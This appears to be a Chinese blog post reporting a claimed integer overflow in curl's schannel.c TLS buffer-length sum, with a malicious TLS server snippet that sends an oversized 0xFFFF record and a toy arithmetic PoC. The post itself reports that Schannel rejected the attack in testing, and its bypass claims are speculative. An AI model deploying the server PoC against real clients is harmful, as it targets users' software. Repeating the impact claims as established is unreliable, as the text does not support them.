curl schannel.c TLS数据传输中的整数溢出漏洞分析

本文详细分析了curl的schannel.c文件中存在的整数溢出漏洞,该漏洞在TLS加密数据传输过程中可能导致数据长度计算错误,进而引发TLS安全问题。报告包含漏洞原理、测试环境、PoC代码及潜在影响分析。

Integer Overflow in schannel.c TLS Data Transmission

漏洞摘要

该漏洞允许在加密数据传输过程中添加TLS缓冲区大小时发生整数溢出,可能导致发送错误的数据大小和TLS安全问题。在Windows 10测试环境中,Windows的Schannel拒绝了构造的畸形TLS握手(SEC_E_INVALID_TOKEN)。

漏洞代码位置

./lib/vtls/schannel.c:

1
2
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;

漏洞原理

curl将三个缓冲区相加:outbuf0、outbuf1和outbuf2。curl在32位环境下编译时,如果这些大小足够大,加法运算可能溢出,导致len值变小。

潜在影响

  • 数据传输大小不正确
  • 违反TLS协议
  • 内存安全问题
  • 最坏情况下可能导致安全绕过(如果溢出导致curl发送的数据比预期少)

测试环境

  • 32位Windows系统
  • 使用恶意HTTP服务器进行测试

PoC服务器代码片段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define PORT 4433

#pragma pack(push, 1)
typedef struct {
    uint8_t type;
    uint8_t version_major;
    uint8_t version_minor;
    uint16_t length;
} tls_record_header;
#pragma pack(pop)

void send_malicious_record(SOCKET client_socket) {
    printf("[*] Sending malicious TLS record...\n");
    
    tls_record_header record;
    record.type = 0x17;
    record.version_major = 0x03;
    record.version_minor = 0x03;
    record.length = htons(0xFFFF);
    
    send(client_socket, (char*)&record, sizeof(record), 0);
    
    size_t payload_size = 0xFFFF;
    unsigned char *payload = malloc(payload_size);
    if (!payload) {
        printf("Failed to allocate payload\n");
        return;
    }
    memset(payload, 'A', payload_size);
    send(client_socket, (char*)payload, (int)payload_size, 0);
    free(payload);
}

数学验证PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;

size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;

printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n", 
       (unsigned long)outbuf[0].cbBuffer,
       (unsigned long)outbuf[1].cbBuffer, 
       (unsigned long)outbuf[2].cbBuffer,
       (unsigned long long)len);

影响版本

  • 8.15.0: release
  • 8.16.0: dev

实际影响

攻击者可能实现认证绕过(如果凭据通过TLS传输),或者通过操纵TLS握手触发大缓冲区大小导致相同溢出,造成DoS攻击。实际利用需要控制或破坏TLS服务器,并操纵Windows的EncryptMessage()返回特定缓冲区大小。

修复建议

在加法运算前添加整数溢出检查。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计